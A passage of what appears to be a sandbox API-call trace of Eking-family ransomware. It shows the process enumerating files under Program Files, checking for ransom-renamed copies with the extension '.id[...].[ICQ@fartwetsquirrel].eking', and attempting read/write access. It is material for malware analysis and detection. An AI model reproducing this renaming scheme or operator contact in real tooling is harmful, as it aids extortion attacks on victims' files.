(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.220] SetEvent (hEvent=0x2b8) returned 1 [0233.221] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.222] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=48128) returned 1 [0233.222] CloseHandle (hObject=0x368) returned 1 [0233.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui")) returned 0x20 [0233.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui")) returned 0x20 [0233.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.222] SetEvent (hEvent=0x2b8) returned 1 [0233.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.224] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=44032) returned 1 [0233.224] CloseHandle (hObject=0x368) returned 1 [0233.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui")) returned 0x20 [0233.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui")) returned 0x20 [0233.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.225] SetEvent (hEvent=0x2b8) returned 1 [0233.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.238] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=18432) returned 1 [0233.238] CloseHandle (hObject=0x368) returned 1 [0233.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui")) returned 0x20 [0233.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui")) returned 0x20 [0233.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.238] SetEvent (hEvent=0x2b8) returned 1 [0233.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.249] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=942080) returned 1 [0233.249] CloseHandle (hObject=0x368) returned 1 [0233.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll")) returned 0x20 [0233.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll")) returned 0x20 [0233.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.249] SetEvent (hEvent=0x2b8) returned 1 [0233.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.250] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=9804) returned 1 [0233.250] CloseHandle (hObject=0x368) returned 1 [0233.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0233.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0233.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.251] SetEvent (hEvent=0x2b8) returned 1 [0233.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0233.304] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=9975) returned 1 [0233.304] CloseHandle (hObject=0x374) returned 1 [0233.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0233.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0233.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.304] SetEvent (hEvent=0x2b8) returned 1 [0233.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0233.311] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2560) returned 1 [0233.311] CloseHandle (hObject=0x374) returned 1 [0233.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui")) returned 0x20 [0233.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui")) returned 0x20 [0233.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.312] SetEvent (hEvent=0x2b8) returned 1 [0233.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0233.314] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2560) returned 1 [0233.314] CloseHandle (hObject=0x374) returned 1 [0233.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui")) returned 0x20 [0233.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui")) returned 0x20 [0233.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.314] SetEvent (hEvent=0x2b8) returned 1 [0233.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0233.316] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=5632) returned 1 [0233.316] CloseHandle (hObject=0x374) returned 1 [0233.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui")) returned 0x20 [0233.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui")) returned 0x20 [0233.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.317] SetEvent (hEvent=0x2b8) returned 1 [0233.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0233.318] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=53248) returned 1 [0233.318] CloseHandle (hObject=0x374) returned 1 [0233.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe")) returned 0x20 [0233.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe")) returned 0x20 [0233.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\extexport.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.319] SetEvent (hEvent=0x2b8) returned 1 [0233.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hispanic.exe" (normalized: "c:\\program files\\internet explorer\\hispanic.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0233.320] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=80384) returned 1 [0233.320] CloseHandle (hObject=0x374) returned 1 [0233.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hispanic.exe" (normalized: "c:\\program files\\internet explorer\\hispanic.exe")) returned 0x20 [0233.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hispanic.exe" (normalized: "c:\\program files\\internet explorer\\hispanic.exe")) returned 0x20 [0233.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hispanic.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\hispanic.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hispanic.exe" (normalized: "c:\\program files\\internet explorer\\hispanic.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.321] SetEvent (hEvent=0x2b8) returned 1 [0233.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0233.324] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=54272) returned 1 [0233.324] CloseHandle (hObject=0x374) returned 1 [0233.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll")) returned 0x20 [0233.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll")) returned 0x20 [0233.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.325] SetEvent (hEvent=0x2b8) returned 1 [0233.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0233.326] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=512000) returned 1 [0233.326] CloseHandle (hObject=0x374) returned 1 [0233.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe")) returned 0x20 [0233.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe")) returned 0x20 [0233.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.327] SetEvent (hEvent=0x2b8) returned 1 [0233.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0233.327] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=501760) returned 1 [0233.327] CloseHandle (hObject=0x374) returned 1 [0233.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe")) returned 0x20 [0233.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe")) returned 0x20 [0233.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0233.330] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=224256) returned 1 [0233.330] CloseHandle (hObject=0x374) returned 1 [0233.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe")) returned 0x20 [0233.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe")) returned 0x20 [0233.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.330] SetEvent (hEvent=0x2b8) returned 1 [0233.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0233.333] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=407552) returned 1 [0233.333] CloseHandle (hObject=0x374) returned 1 [0233.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll")) returned 0x20 [0233.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll")) returned 0x20 [0233.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\ieshims.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.333] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.333] SetEvent (hEvent=0x2b8) returned 1 [0233.334] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0233.335] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=824128) returned 1 [0233.335] CloseHandle (hObject=0x374) returned 1 [0233.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe")) returned 0x20 [0233.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe")) returned 0x20 [0233.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\iexplore.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.335] CreateFileW 